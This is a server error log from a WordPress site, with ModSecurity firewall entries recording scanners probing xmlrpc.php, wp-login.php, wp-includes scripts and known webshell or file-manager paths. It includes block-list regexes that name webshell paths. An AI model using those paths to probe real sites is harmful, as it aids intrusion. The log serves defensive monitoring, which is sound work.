[Sat Nov 22 00:44:14.865859 2025] [:error] [pid 9180:tid 9187] [client 74.176.50.101:52940] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/glucosidase.php"] [unique_id "aSCW3rrk9msixUFV2i99oQAAAEU"]
[Sat Nov 22 00:44:15.742825 2025] [:error] [pid 49641:tid 49833] [client 74.176.50.101:61133] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/glucosidase.php"] [unique_id "aSCW31nhuiDak938N_angwAAAAo"]
[Sat Nov 22 00:49:40.171711 2025] [:error] [pid 9180:tid 9185] [client 162.241.217.111:50678] [client 162.241.217.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.217.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCYJLrk9msixUFV2i9_xgAAAEM"], referer: http://rcacivilgroup.com
[Sat Nov 22 01:00:58.524388 2025] [:error] [pid 9180:tid 9202] [client 43.153.48.240:43640] [client 43.153.48.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSCayrrk9msixUFV2i-FywAAAFQ"]
[Sat Nov 22 01:03:49.933794 2025] [:error] [pid 50057:tid 50077] [client 139.99.171.55:45916] [client 139.99.171.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.171.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCbdVb9j9fTBoI0sRVAfQAAARI"], referer: http://rcacivilgroup.com
[Sat Nov 22 01:37:23.975486 2025] [:error] [pid 49643:tid 49930] [client 46.101.255.159:38974] [client 46.101.255.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.255.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCjU5wUojIRHhF_fj-SSQAAAMo"], referer: http://rcacivilgroup.com
[Sat Nov 22 01:40:11.376842 2025] [:error] [pid 49642:tid 49897] [client 162.241.217.150:57574] [client 162.241.217.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.217.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCj-4OXTPSuQfgUUtWVRgAAAIY"], referer: http://rcacivilgroup.com
[Sat Nov 22 02:04:07.949992 2025] [:error] [pid 49642:tid 49912] [client 116.204.78.140:34524] [client 116.204.78.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.204.78.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCpl4OXTPSuQfgUUtWczAAAAJU"], referer: http://rcacivilgroup.com
[Sat Nov 22 02:06:50.838484 2025] [:error] [pid 9180:tid 9183] [client 20.197.2.249:58900] [client 20.197.2.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.197.2.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCqOrrk9msixUFV2i-qRwAAAEE"]
[Sat Nov 22 02:11:54.881116 2025] [:error] [pid 14291:tid 14306] [client 116.204.78.140:53816] [client 116.204.78.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.204.78.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCrakEjlvzqoJBTM9gI3wAAAU0"], referer: http://rcacivilgroup.com
[Sat Nov 22 02:19:58.683754 2025] [:error] [pid 49642:tid 49900] [client 121.43.150.118:35864] [client 121.43.150.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.43.150.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCtToOXTPSuQfgUUtWiCwAAAIk"], referer: http://rcacivilgroup.com
[Sat Nov 22 02:27:16.447687 2025] [:error] [pid 9180:tid 9191] [client 173.236.255.42:45732] [client 173.236.255.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.255.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCvBLrk9msixUFV2i-yJgAAAEk"]
[Sat Nov 22 02:27:39.908315 2025] [:error] [pid 50057:tid 50083] [client 103.147.122.46:49862] [client 103.147.122.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.122.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCvG1b9j9fTBoI0sRVfzQAAARg"], referer: http://rcacivilgroup.com
[Sat Nov 22 02:31:19.065484 2025] [:error] [pid 14291:tid 14302] [client 192.185.2.194:49276] [client 192.185.2.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.185.2.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCv90EjlvzqoJBTM9gRRAAAAUk"], referer: http://rcacivilgroup.com
[Sat Nov 22 02:44:01.402325 2025] [:error] [pid 49642:tid 49896] [client 142.93.209.196:39516] [client 142.93.209.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.209.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCy8YOXTPSuQfgUUtWoMwAAAIU"]
[Sat Nov 22 02:47:59.710955 2025] [:error] [pid 49641:tid 49847] [client 64.31.40.162:38518] [client 64.31.40.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.31.40.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCz31nhuiDak938N_bSTQAAABg"], referer: http://rcacivilgroup.com
[Sat Nov 22 02:55:02.166839 2025] [:error] [pid 49641:tid 49826] [client 50.6.19.83:12072] [client 50.6.19.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.19.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSC1hlnhuiDak938N_bUgwAAAAM"], referer: http://rcacivilgroup.com
[Sat Nov 22 03:07:38.936218 2025] [:error] [pid 49642:tid 49915] [client 115.190.57.183:37180] [client 115.190.57.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.190.57.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSC4eoOXTPSuQfgUUtWtugAAAJg"], referer: http://rcacivilgroup.com
[Sat Nov 22 03:38:18.860672 2025] [:error] [pid 9082:tid 9105] [client 139.59.253.161:37890] [client 139.59.253.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.253.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSC_qkKZzrBOWbHp287HggAAANQ"], referer: http://rcacivilgroup.com
[Sat Nov 22 03:53:06.488943 2025] [:error] [pid 53566:tid 53587] [client 103.167.150.158:58116] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "aSDDIsbSHDBkRbwMbd7wwwAAANM"]
[Sat Nov 22 04:16:45.288214 2025] [:error] [pid 53566:tid 53582] [client 139.99.171.55:37970] [client 139.99.171.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.171.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSDIrcbSHDBkRbwMbd78zQAAAM4"], referer: http://rcacivilgroup.com
[Sat Nov 22 04:32:00.770704 2025] [:error] [pid 53479:tid 53539] [client 203.217.101.237:42398] [client 203.217.101.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.217.101.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSDMQG6cicFF3Aas-oRMFwAAAIM"], referer: http://rcacivilgroup.com
[Sat Nov 22 04:47:09.931172 2025] [:error] [pid 25856:tid 25863] [client 165.84.218.233:32371] [client 165.84.218.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.84.218.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSDPzRsTP0wy94zKUvF_qQAAAQU"], referer: http://rcacivilgroup.com
[Sat Nov 22 04:49:58.191884 2025] [:error] [pid 53479:tid 53536] [client 36.111.67.189:44727] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSDQdm6cicFF3Aas-oRU5AAAAIA"]
[Sat Nov 22 04:53:16.737238 2025] [:error] [pid 53477:tid 53494] [client 81.88.53.43:49928] [client 81.88.53.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.53.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSDRPH7Lu30Ku9O40aK8XQAAAA0"], referer: http://rcacivilgroup.com
[Sat Nov 22 05:07:38.758074 2025] [:error] [pid 53478:tid 53529] [client 20.122.78.49:6551] [client 20.122.78.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.122.78.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSDUmghUYdXBbQswAdT7ZAAAAFQ"], referer: https://www.bing.com/
[Sat Nov 22 05:08:03.385206 2025] [:error] [pid 53478:tid 53531] [client 20.122.78.49:6551] [client 20.122.78.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "aSDUswhUYdXBbQswAdT74QAAAFY"], referer: https://www.google.fr/
[Sat Nov 22 05:08:40.221110 2025] [:error] [pid 53477:tid 53503] [client 120.78.88.119:57676] [client 120.78.88.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.78.88.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSDU2H7Lu30Ku9O40aLHyQAAABY"], referer: http://rcacivilgroup.com
[Sat Nov 22 05:09:25.357811 2025] [autoindex:error] [pid 53477:tid 53491] [client 20.122.78.49:2377] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Nov 22 05:09:26.609742 2025] [autoindex:error] [pid 53477:tid 53487] [client 20.122.78.49:2377] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sat Nov 22 05:09:26.828757 2025] [:error] [pid 53477:tid 53490] [client 20.122.78.49:2377] [client 20.122.78.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSDVBn7Lu30Ku9O40aLIVAAAAAk"], referer: https://www.google.fr/
[Sat Nov 22 05:09:32.827673 2025] [autoindex:error] [pid 53478:tid 53524] [client 20.122.78.49:6095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Nov 22 05:09:36.027219 2025] [autoindex:error] [pid 53478:tid 53514] [client 20.122.78.49:6095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sat Nov 22 05:09:36.276916 2025] [autoindex:error] [pid 53478:tid 53528] [client 20.122.78.49:6095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sat Nov 22 05:09:49.001329 2025] [autoindex:error] [pid 53478:tid 53521] [client 20.122.78.49:6095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Nov 22 05:09:49.228280 2025] [autoindex:error] [pid 53478:tid 53524] [client 20.122.78.49:6095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Nov 22 05:09:50.772286 2025] [autoindex:error] [pid 53478:tid 53519] [client 20.122.78.49:6095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Nov 22 05:09:50.983142 2025] [:error] [pid 53478:tid 53510] [client 20.122.78.49:6095] [client 20.122.78.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSDVHghUYdXBbQswAdT9OwAAAEE"], referer: https://www.yahoo.com/
[Sat Nov 22 05:09:53.090065 2025] [autoindex:error] [pid 53477:tid 53505] [client 20.122.78.49:1870] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sat Nov 22 05:09:53.307646 2025] [autoindex:error] [pid 53477:tid 53497] [client 20.122.78.49:1870] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Nov 22 05:09:53.530769 2025] [autoindex:error] [pid 53477:tid 53489] [client 20.122.78.49:1870] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Nov 22 05:10:15.521447 2025] [:error] [pid 53477:tid 53481] [client 20.122.78.49:1870] [client 20.122.78.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.122.78.49, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSDVN37Lu30Ku9O40aLIzAAAAAA"], referer: https://www.bing.com/
[Sat Nov 22 06:41:35.901317 2025] [:error] [pid 25856:tid 25872] [client 194.5.82.157:24321] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSDqnxsTP0wy94zKUvHdUwAAAQ4"]
[Sat Nov 22 06:41:39.188079 2025] [:error] [pid 53478:tid 53522] [client 194.5.82.116:63869] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSDqowhUYdXBbQswAdQ4GQAAAE0"]
[Sat Nov 22 06:41:49.441314 2025] [autoindex:error] [pid 25856:tid 25881] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:49.537940 2025] [autoindex:error] [pid 25856:tid 25865] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:49.645015 2025] [autoindex:error] [pid 25856:tid 25866] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:49.770036 2025] [autoindex:error] [pid 25856:tid 25869] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:50.992602 2025] [autoindex:error] [pid 25856:tid 25875] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:51.119266 2025] [autoindex:error] [pid 25856:tid 25873] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:51.230435 2025] [autoindex:error] [pid 25856:tid 25861] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:51.336205 2025] [autoindex:error] [pid 25856:tid 25868] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:51.434230 2025] [autoindex:error] [pid 25856:tid 25880] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
